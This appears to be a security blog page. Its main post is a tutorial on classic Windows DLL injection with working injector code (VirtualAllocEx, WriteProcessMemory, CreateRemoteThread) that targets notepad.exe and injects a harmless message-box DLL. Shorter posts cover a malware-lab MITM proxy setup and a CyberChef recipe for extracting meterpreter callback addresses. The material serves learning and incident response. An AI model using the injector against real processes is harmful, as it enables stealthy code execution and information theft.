Revisiting Code Injection #1. Classic DLL injection

Lately I am involved in a project that requires me to write some C/C++ code. As my C++ is very rusty, I tried to sharpen it a little by doing these small development tasks. Since I am also involved in some reversing of a code using DLL injection techniques, I thought it would be a good idea to understand DLL injection better by writing some injectors myself. I will start with a simplest, classical DLL injection through LoadLibraryA call via CreateRemoteThread.

Little bit of theory

So let’s quickly explain how the traditional DLL injection technique works. What a DLL injection is anyway? In general code injection happens when one process runs a code in the address space of another process. DLL injection is a specific subset of these techniques when process is forced to load and execute an external DLL. There can be many reasons for performing DLL injection, a lot of applications does it for completely legitimate reasons (for example antiviruses but not only). It is also a very common technique for a malware, usually used to either hide the code in other common process or to hook some functions in other process to steal information. There are some DLL injection techniques which can also be used for persistence or privilege escalation but we won’t talk about them here.

Classical DLL Injection relies on few Windows API calls to perform an Injection. It first needs to allocate some memory in target process. It can be done via VirtualAllocEx call. When the memory is allocated, we want to write our injected DLL path into it. This is done via WriteProcessMemory call. When DLL path is written into the memory of victim process, we want to call a LoadLibraryA function in the context of our victim process. This can be done by spawning a new thread in the target process using CreateRemoteThread call. The LoadLibraryA pointer is passed to CreateRemotethread, together with a pointer to a place in memory where DLL path is stored. That’s it. Now our victim will load a malicious binary into memory and execute it.

In short, following steps have to be accomplished to Inject DLL into another process:

  1. Store a malicious DLL on disk
  2. Find target process ID
  3. Allocate memory in the target process with VirtualAllocEx
  4. Write the DLL path into memory with WriteProcessMemory
  5. Find LoadLibraryA memory address with GetProcAddress
  6. Create a remote thread in the victim process by using CreateRemoteThread call with a pointer to LoadLibraryA and another pointer to DLL path sored in memory as argument

That’s it. This is a simplest way to inject a DLL into another process. It has of course its downsides. Biggest of all is having to store DLL on the disk before it is injected – this might trigger antivirus software as well as leave additional artifacts on the disk. If we want to avoid this, we need to use a different DLL injection technique (for example Reflective DLL injection which I will cover in separate article).

Let’s code!

So we already know the theory, but theory can be a little hard to understand without actually trying to implement this ourselves.

DLL code

First of all we will need some DLL to inject into the victim process. I’ve opted for a very simple DLL that will just pop-up a message box with a name of it’s current running process. This will give us a clear indication if the injection has succeeded.

#include "pch.h"
#include <Windows.h>
#include <psapi.h>
#include <winuser.h>

BOOLEAN WINAPI DllMain(IN HINSTANCE hDllHandle,
    IN DWORD     nReason,
    IN LPVOID    Reserved)
{
    BOOLEAN bSuccess = TRUE;



    switch (nReason)
    {
    case DLL_PROCESS_ATTACH:

        wchar_t wnameProc[MAX_PATH];
        if (GetProcessImageFileNameW(GetCurrentProcess(), wnameProc, sizeof(wnameProc) / sizeof(*wnameProc)) == 0) {
            bSuccess = FALSE;
        }
        else
        {
            MessageBoxW(NULL, wnameProc, L"Process name", MB_ICONINFORMATION);
            bSuccess = TRUE;
        }

        break;

    case DLL_PROCESS_DETACH:

        break;
    }
    return bSuccess;
}

This is a pretty simple DLL. It only consists of DllMain (line 6) which is the main function of DLL library. It doesn’t declare any exported functions (which is what legitimate DLLs normally do). DllMain code is executed right after DLL is loaded into the process memory. This is important in the context of DllInjection, as we are looking for simplest way to execute code in the context of other process. That is why most of malicious Dlls which are being injected have most of the malicious code in DllMain. There are ways to force a process to run exported function, but writing your code in DllMain is usually the simplest solution to get code execution.

Our DllMain is quite straightforward. It uses the GetProcessImageFileNameW together with GetCurrentProcess API to retreive a name of currently running process. Then it displays a retrieved value in a pop-up MessageBox. When run in injected process it should display victim process name, so we will know that injection was successful. Now we can compile it and put it in a directory of our choice.

Injector code

Now we only need a code which will inject this library into the process of our choosing. We already have a recipe for this a few paragraphs above, so let us cook some code.

int main()
{
    DWORD pid;
    HANDLE hProcess;
    LPVOID lpBaseAddress;
    const char* dllName = "C:\\Users\\username\\source\\repos\\Dll_test\\x64\\Debug\\Dll_test.dll";
    size_t sz = strlen(dllName);
    pid = findProcessID();
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pid);
    lpBaseAddress = VirtualAllocEx(hProcess, NULL, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, lpBaseAddress, dllName, sz, NULL);
    HMODULE hModule = GetModuleHandle(L"kernel32.dll");
    LPVOID lpStartAddress = GetProcAddress(hModule, "LoadLibraryA");
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, NULL);
    if (hThread)
    {
        printf("Injection successful!\n");
    }
    else
    {
        printf("Injection unsuccessful!\n");
    }
}

This is our main injector function. It’s pretty simple as you can see. The main logic is in lines 8-14. These 7 lines correspond to 6 steps described before for successful DLL injection. Let’s analyze them one by one:

Line 8: Here we execute a function to find our victim process. We can also create a new process to inject to, but in this case we will just go through the list of running processes. Function listing below

DWORD findProcessID()
{
    HANDLE hProcessSnap;
    HANDLE hProcess;
    PROCESSENTRY32 pe32;
    DWORD dwPriorityClass;

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hProcessSnap, &amp;pe32))
    {
        CloseHandle(hProcessSnap);
        return(FALSE);
    }

    do {
        if (!wcscmp(pe32.szExeFile, L"notepad.exe")) {
            return pe32.th32ProcessID;
        }

    } while (Process32Next(hProcessSnap, &amp;pe32));
    return 0;
}

It creates a snapshot of currently running processes by using CreateToolhelp32Snapshot API call (line 8) and then iterate through the list of PROCESSENTRY32 structures via Process32Next call (line 21). If executable name (szExeFile) matches the one we are looking for (in this case “notepad.exe”) it returns its process ID.

Line 9: Once we have PID of our victim process, we need to open a handle to it. We do it by passing just obtained PID to OpenProcess call. This will return a handle (hProcess) to the opened process which will allow us to perform further operations on this process.

Line 10: Now we have a victim process opened, let’s start the injection. As we remember from the theory section, first step to perform injection is to allocate some virtual process memory. We perform this task by using VirtualAllocEx call. It takes 5 parameters:

  1. A handle to the opened process: we obtained it in the previous step – this is our hProcess variable
  2. The pointer that specifies a desired starting address for the region of pages that you want to allocate. This is best left NULL to let Windows determine best address to allocate.
  3. The size of the region of memory to allocate, in bytes. This is equal to the length of a string we want to allocate.
  4. The type of memory allocation. We need to bot reserve and commit a memory region (to be able to write to it) hence MEM_COMMIT | MEM_RESERVE
  5. The memory protection for the region of pages to be allocated. PAGE_EXECUTE_READWRITE means this region can be read, written to and executed.

Line 11: Once we have a memory region allocated we need to write a path to our DLL to it. We have yet another windows API call for that: WriteProcessMemory. It takes 5 arguments:

  1. A handle to the opened process. This is same handle we used in previous step.
  2. A pointer to the base address of a memory region to write into. It was returned in the last step by VirtualAllocEx (if allocation was successful).
  3. A pointer to the buffer that contains data to be written in the address space of the specified process. We pass the dllName variable which is a pointer to a string holding our dll path and name.
  4. Size of the buffer (length of our string in this case).
  5. A pointer to a variable that receives the number of bytes transferred into the specified process. This is not needed in our code so we can leave it as NULL.

At this point we should already have written our string into the memory of the victim process. We can check that by setting a breakpoint at line 11 and running our program in a debug mode (open notepad.exe first if you are targeting it).

After our program stopped at the breakpoint, we can see in variables BaseAddress of the allocated memory. In this case it is:

lpBaseAddress = 0x000001dd5d7b0000

If we now step over once (F10 in Visual Studio), this memory should be written over with our DLL path. We can check that by attaching a debugger to notepad.exe or simply by looking at this memory region in Process Hacker

So the memory in the remote process has been successfully written into. Now we can proceed into the next step. Injecting our DLL.

Line 12/13: Before we finally inject and run our code – we need a memory address of LoadLibraryA, as this will be an API call that we will execute in the context of the victim process to load our DLL. To get a current address of LoadLibraryA we first need to get a handle to kernel32.dll library, which exports LoadLibraryA. We do it with GetModuleHandle call (line12). After we get a handle to kernel32, we can pass it to GetProcAddress call to obtain a memory address of LoadLibraryA (line13).

Line 14: The most important line of code. We call CreateRemoteThread to run a remote thread in the context of our victim process. We pass 7 arguments:

  1. Handle to our victim process. Same as previously.
  2. Security descriptor for a new thread, can be left as NULL for default values.
  3. Initial stack size. 0 for default.
  4. A pointer to the function that will be executed by the thread. This is where all the magic happens. We pass a pointer to LoadLibraryA so this function will get executed in the context of the victim process.
  5. A pointer to a variable to be passed to the thread function. We pass a pointer to the memory region holding a path to our DLL. This way LoadLibraryA will be executed with our library path as a parameter.
  6. Creation flags. We use 0 to run a thread immediately. Some code injection techniques (Process Hollowing which I will hopefully cover in a separate article in the future) requires this to be set as CREATE_SUSPENDED which will create a thread in a suspended state. CREATE_SUSPENDED can also be used to debug issues with a new thread. So we can spawn a new suspended thread, attach a debugger to the process, set a breakpoint and resume the thread. In this case we just set 0 to run a thread immediately.
  7. A pointer to a variable that receives the thread identifier. Not needed in this case so it can be set as NULL.

So that’s the entire code of the injector. Pretty simple right? Let’s see how (if) it runs.

Let’s inject!

So finally after we understood entire code of the injector, we can test it. Let’s first launch a notepad.exe instance and then execute our program.

It works!

Seems it worked. To verify our DLL is indeed injected into notepad.exe process we can use Process Hacker.


Injected DLL

It seems our simple injection worked! This is just a simplest way to inject a DLL to another process but in many cases it is sufficient and very useful. It has its downfalls though so in next articles I will try to explain more advanced code injection techniques.

Code

Traditionally code from this article can be found on my GitHub:

https://github.com/lasq88/CodeInjection/tree/master/ClassicDllInjection

Resources

Useful resources that explain this better then I did:

https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

https://0x00sec.org/t/reflective-dll-injection/3080

https://resources.infosecinstitute.com/using-createremotethread-for-dll-injection-on-windows/#gref

https://securityxploded.com/dll-injection-and-hooking.php

https://github.com/BenjaminSoelberg/ReflectivePELoader

Tips & tricks #1: MITM proxy with fakenet and realnet mode

This post will be the first of quick tips & tricks series. I don’t have the time, and to be honest nor the inspiration lately to write longer in-depth posts as I would like to. Therefore I will stick to shorter forms, hopefully this will make this blog a little bit more alive.

In this short tip, I would like to share with you my setup for a Man-in-the-Middle proxy for my malware analysis lab. When porting my lab to the new machine I had to reconfigure few things, and to my surprise I found out that there seems to be no good tutorial to correctly set a MITM proxy for malware analysis.

There are multiple tutorials showing how to set up a malware lab with a fake net and HTTPS interception using both inetsim and burp. You can find them here:

Because of them I won’t be making another tutorial how to set up your lab. You can use tutorials above. If you are curious, I am using a very similar setup with Flare VM on my main Windows 10 box and an intercept router based on Debian with both fakenet and realnet modes (which I will explain later).

Burp port redirection

Before diving into details of setting up the multimode mitm proxy I would like to share a smaller tip, which may be useful if you follow tutorials linked above. They are good tutorials and I also followed them when setting up my lab, but there is one thing that in my opinion you should change in this setup.

If you configure your burp to redirect to localhost as per instructions above, the fakenet connection to inetsim will work correctly however due to burp interpretation of these redirected packets, it will list all of the connections from your infected box as localhost.

Burp listing all connections as localhost in default configuration

The only way you can distinguish between connection targets in this setup is by looking at the host header of each request. Due to the amount of http traffic that Win10 box is generating this may be a tiresome task.

Fortunately a simple trick exists to get around that. If you have your inetsim set up to listen on 0.0.0.0 then you don’t actually have to redirect to localhost. Burp allows you to redirect only ports, just leave the host option empty and burp will redirect only port. As inetsim is listening on every interface it will grab this traffic anyway. Although if you have 2 interfaces up it may not work every time as I will explain in next section. So it is advised to have only 1 interface up in the fakenet mode.

Burp correctly set up to redirect only port
Correct redirection to inetsim

Fakenet and realnet

Second thing that irritated me in this setup was lack of ability to actually simply redirect malware traffic to internet but keeping the ability to peek into https traffic. Sometimes you just want malware to download this second stage payload or want to eavesdrop on communication with C2. Then you want to have an easy switch from fakenet to realnet. This is actually a simple reconfiguration, and it can also be achieved with the same setup we had before, just changing config files for burp and inetsim.

First thing you have to do is of course to connect the linux box to the internet. Just enable second interface on your hypervisor in NAT mode and linux should automatically route all traffic from internal network to internet via hypervisor. If this is not the case, you might want to set up your NAT gateway as default gateway.

Double interface setup

Second step is to modify an inetsim config so it will act only as a DNS server forwarding all traffic to burp. Just grab the old inetsim config, copy it and remove all services from it except for DNS. Save it with a different name and it should be fine.

InetSim acting as DNS only

Third and last step is to modify burp to act as standard MitM proxy, forwarding all requests to the internet. The only thing you have to change is port you forward a request to, routing table will take care of the rest. You may want to save your realnet burp config in a different file.

Burp setup to forward requests to internet

That’s all! You should now be able to redirect traffic from your malware box to internet, keeping the burp mitm proxy in between.

Burp in MitM mode – redirecting traffic to the internet

Now you just have to do a few simple steps on your linux machine to switch from fakenet to realnet and back.

To switch from fakenet to realnet:

  1. Bring NAT interface up
  2. Restart InetSIM with DNS-only config
  3. Load realnet config into Burb

To switch from realnet to fakenet:

  1. Bring NAT interface down
  2. Restart InetSIM with all services simulation config
  3. Load fakenet config into Burp

Done! You can even write a script for this if you have a need, although it is simple enough to just do these 3 things manually.

Enjoy your mitm box!

Extracting IP and port from a meterpreter payload

When attacker has already gained access to our network and he managed to steal some passwords or hashes, he is usually looking to break into something more interesting than HR workstation. This is a time when he uses stolen passwords to gain access to servers crucial for his operations.

If you see a service installation event (7045) in your System log, with powershell code containing a gzipped payload, this is most likely an evidence of attacker’s lateral movement.

Evidence of lateral movement

This is how it looks like form attacker’s perspective. Note that despite the 6 hours time difference (different timezone – something to always check for during your investigations), this is the same event.

Attacker exploiting stolen credentials to gain access to a server

Unfortunately the windows event doesn’t tell us straight away who performed the attack. User account that installed a service is the one that got compromised but we don’t know by who. There are multiple ways to associate this event with the attacker. For example you may want to try to correlate with User Logon type 3 from Security log. This will tell you which IP was used to login on compromised credentials, which will be most likely an IP of the attacker.

User logon on compromised credentials. Visible IP of the attacker.

However if you don’t have this information available immediately (let’s say you received only this one event as alert from monitoring) or you just want to confirm it, or you suspect that attacker are using different IPs to login that to perform rest of his actions, you may want to dive into the powershell code.

If you take a closer look this is a gzip compressed payload, so we should decompress it for further investigation. It can be done by powershell of course, CyberChef, Linux command, python and many other tools. After unpacking, code looks like this:

Meterpreter payload after unpacking

Without diving into details it is a powershell code injecting a particular shellcode (the long base64 string) into the memory. However all the artifacts that we are interested in are in the shellcode itself. Therefore we can decode and disassemble it with any x86 disassembler (CyberChef also has this option). After going through code that mostly resolves required WinAPI functions, finally we can see that it pushes two 32-bit values on the stack:

They are related to WinSock API data structure sockaddr (more info here: https://docs.microsoft.com/en-us/windows/desktop/WinSock/sockaddr-2). First value from top is an IP address (be careful bytes are reversed on disassembly!) and the second one is a port and a constant 0002 (AF_INET) which indicates it is a TCP/IP stack. If you decode these values you will get the port and the IP.

There is also an x64 version of this payload, it looks a little different on disassembly because of a different calling convention for x64 architecture:

Note that here the entire structure is moved to the stack (not pushed) as a single QWORD (64-bit value)

I created a CyberChef recipe that allows to extract IP address and port from both 32 and 64-bit versions.

{"op":"Regular expression","args":["User defined","[a-zA-Z0-9=/+]{30,}",true,true,false,false,false,false,"List matches"]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"Gunzip","args":[]},{"op":"Regular expression","args":["User defined","[a-zA-Z0-9=/+]{30,}",true,true,false,false,false,false,"List matches"]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"To Hex","args":["None"]},{"op":"Conditional Jump","args":["68([0-9a-f]{8})680200([0-9a-f]{4})",false,"standard",10]},{"op":"Conditional Jump","args":["49bc0200([0-9a-f]{4})([0-9a-f]{8})",false,"reverse",10]},{"op":"Label","args":["standard"]},{"op":"Regular expression","args":["User defined","68([0-9a-f]{8})680200([0-9a-f]{4})",true,true,false,false,false,false,"List capture groups"]},{"op":"Split","args":["\n",":"]},{"op":"Subsection","args":[":([0-9a-f]{4})$",true,true,false]},{"op":"From Base","args":[16]},{"op":"Merge","args":[]},{"op":"Subsection","args":["^([0-9a-f]{8}):",true,true,false]},{"op":"From Hex","args":["Auto"]},{"op":"To Decimal","args":["Space",false]},{"op":"Split","args":[" ","."]},{"op":"Jump","args":["finish",10]},{"op":"Label","args":["reverse"]},{"op":"Regular expression","args":["User defined","49bc0200([0-9a-f]{4})([0-9a-f]{8})",true,true,false,false,false,false,"List capture groups"]},{"op":"Split","args":["\n",":"]},{"op":"Subsection","args":[":([0-9a-f]{8})$",true,true,false]},{"op":"From Hex","args":["Auto"]},{"op":"To Decimal","args":["Space",false]},{"op":"Split","args":[" ","."]},{"op":"Subsection","args":["^([0-9a-f]{4}):",true,true,false]},{"op":"From Base","args":[16]},{"op":"Label","args":["finish"]}]

It can also be found here:
https://github.com/lasq88/CyberChef-Recipes/blob/master/README.md

Unfortunately CyberChef seems to be a little bit bugged lately (regular expressions doesn’t load correctly) and it seems to have some issues with branching so I also created a simple JavaScript tool for the same purpose. You can find it here:

https://github.com/lasq88/IR-Tools/blob/master/meterpreter.html

It is a standalone script so you can launch it in any browser (tested in Chrome though), paste a meterpreter payload, press Extract IP and it should work.

That should be working for most default meterpreter payloads, although I did not test it enough to be sure. Also for any custom lateral movement payloads this will most likely break. 

How I accidentally found a clickjacking “feature” in Facebook

I would’ve never thought that one of my first blog posts will be about looking for bugs in Facebook. I don’t consider myself a bounty hunter, and had never actively looked for bugs. I focus mostly on Incident Response, Forensics and Malware Analysis. To my surprise then I am sharing this particular story with you. It’s about my first bug report, a short spam campaign and a strange Facebook feature.

So, yesterday there was this very annoying SPAM campaign on Facebook, where a lot of my friends published a link to what seemed like a site hosted on AWS bucket. It was some link to a french site with funny comics, who wouldn’t click it right?

One of the SPAM links
Continue reading “How I accidentally found a clickjacking “feature” in Facebook”

Deobfuscating Emotet’s powershell payload

Emotet is a banking trojan, targeting computer users since around 2014. During that time it has changed its structure a lot. Lately we see massive emotet spam campaigns, using multiple phishing methods to bait users to download and launch a malicious payload, usually in the form of a weaponized Word document.

Emotet's chain of infection
Emotet’s chain of infection

First user receives a fake e-mail, trying to persuade him to click on the link, where the weaponized doc is being downloaded. Document is then trying to trick user to enable content and allow macros in order to launch embedded VBA code. VBA is obfuscated. We can also deobfuscate it, but in the end it launches a powershell command. Let’s skip VBA deobuscation today, as I want to focus on powershell. We can obtain powershell command launched by VBA code without deobfuscation, by using any sandbox with powershell auditing. Continue reading “Deobfuscating Emotet’s powershell payload”